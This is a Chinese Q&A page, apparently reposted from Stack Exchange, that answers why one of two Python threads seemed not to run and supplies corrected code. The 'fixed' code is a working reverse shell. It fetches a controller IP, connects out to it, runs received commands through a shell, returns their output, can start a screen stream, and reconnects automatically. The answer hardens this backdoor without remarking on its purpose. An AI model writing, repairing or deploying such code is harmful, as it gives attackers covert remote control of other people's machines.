You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python Threading并发启动两函数时首个函数未执行问题

问题根因

Python没有跳过ip_spoofer线程的执行,你看到的现象是三个问题叠加导致的:

  • 标准输出缓冲问题:Python的print默认带输出缓冲,ip_spoofer里的print("gg")没有强制刷新缓冲区,加上另一个线程疯狂抢占输出流,这条输出被卡在缓冲区根本没打印到控制台,不是函数没执行。
  • GIL抢占问题:hello函数里的内层while死循环没有任何等待/休眠逻辑,会以CPU最高负载无停顿运行,疯狂抢占Python全局解释器锁(GIL),刚启动的ip_spoofer线程几乎拿不到执行时间片,长期处于阻塞状态。
  • 代码逻辑错误:
    • 你写的if 'ip_spoofer.REMOTE_HOST' in locals():永远不会成立,locals()仅返回当前hello函数作用域的局部变量,不可能拿到其他函数内部的局部变量,这个判断恒为False,直接导致hello线程永远卡在这个死循环里空转。
    • ip_spoofer里的REMOTE_HOST是函数内部局部变量,就算线程正常运行,你用ip_spoofer.REMOTE_HOST的访问方式也会直接抛出属性错误,而你写的裸except会吞掉所有异常,连报错信息都看不到。
    • 外层except里递归调用hello()的写法会在多次异常后触发递归深度超限爆栈。
修复方案

按以下要点修改即可解决问题:

  • 跨线程共享的REMOTE_HOST不要存为函数局部变量,改用全局变量(或线程安全的队列/共享对象)存储,解决跨作用域访问问题。
  • 所有无实际业务逻辑的空转死循环必须加短时间休眠(比如time.sleep(0.1)),主动让出GIL给其他线程执行,避免单线程占满CPU资源。
  • 调试阶段的print语句加上flush=True参数,强制立即刷新输出缓冲区,避免日志被缓冲看不到。
  • 去掉裸except,捕获异常时打印错误信息方便排查,用循环重连代替异常里递归调用函数,避免爆栈。
  • 主线程加保活逻辑,避免主线程退出后子线程被强制终止。

修复后的参考代码:

import threading
import requests
import time
import socket
import subprocess

# 跨线程共享变量用全局变量存储,初始设为None
REMOTE_HOST = None

def ip_spoofer():
    global REMOTE_HOST
    while True:
        print("gg", flush=True) # 加flush=True强制刷新输出
        try:
            REMOTE_BUFFER = requests.get('MY_URL', timeout=10).json()
            REMOTE_HOST = REMOTE_BUFFER['ip']
        except Exception as e:
            print(f"ip_spoofer请求出错: {e}", flush=True)
        time.sleep(60) # 每分钟拉取一次配置

def hello():
    REMOTE_PORT = 8081
    while True: # 用外层循环代替异常递归,避免爆栈
        try:
            client = socket.socket()
            while True:
                print('hey', flush=True)
                # 直接判断全局REMOTE_HOST是否已被赋值
                if REMOTE_HOST is not None:
                    print('bye', flush=True)
                    client.connect((REMOTE_HOST, REMOTE_PORT))
                    break
                time.sleep(0.1) # 空转时主动让出GIL

            while True:
                command = client.recv(1024)
                if not command:
                    break
                command = command.decode()
                if command == 'KEY_SCREEN':
                    sender = ScreenShareClient(REMOTE_HOST, REMOTE_PORT)
                    sender.start_stream()
                else:
                    output = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
                    out, err = output.communicate()
                    client.send(out + err)
        except Exception as e:
            print(f"hello线程出错: {e}, 5秒后重连", flush=True)
            time.sleep(5)

if __name__ == "__main__":
    threading.Thread(target=ip_spoofer, daemon=True).start()
    threading.Thread(target=hello, daemon=True).start()
    # 主线程保活
    while True:
        time.sleep(1)
补充说明

你之前的代码里hello线程的内层循环没有休眠,运行时会直接占满单个CPU核心,在GIL的调度机制下,其他线程拿到的执行时间片会被压缩到几乎可以忽略,这是ip_spoofer看起来“没执行”的最核心原因。多线程场景下不要写无任何等待的纯CPU空转死循环,否则会直接破坏多线程的调度公平性。

内容的提问来源于stack exchange,提问作者Mouad Essalim

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.02 05:31:08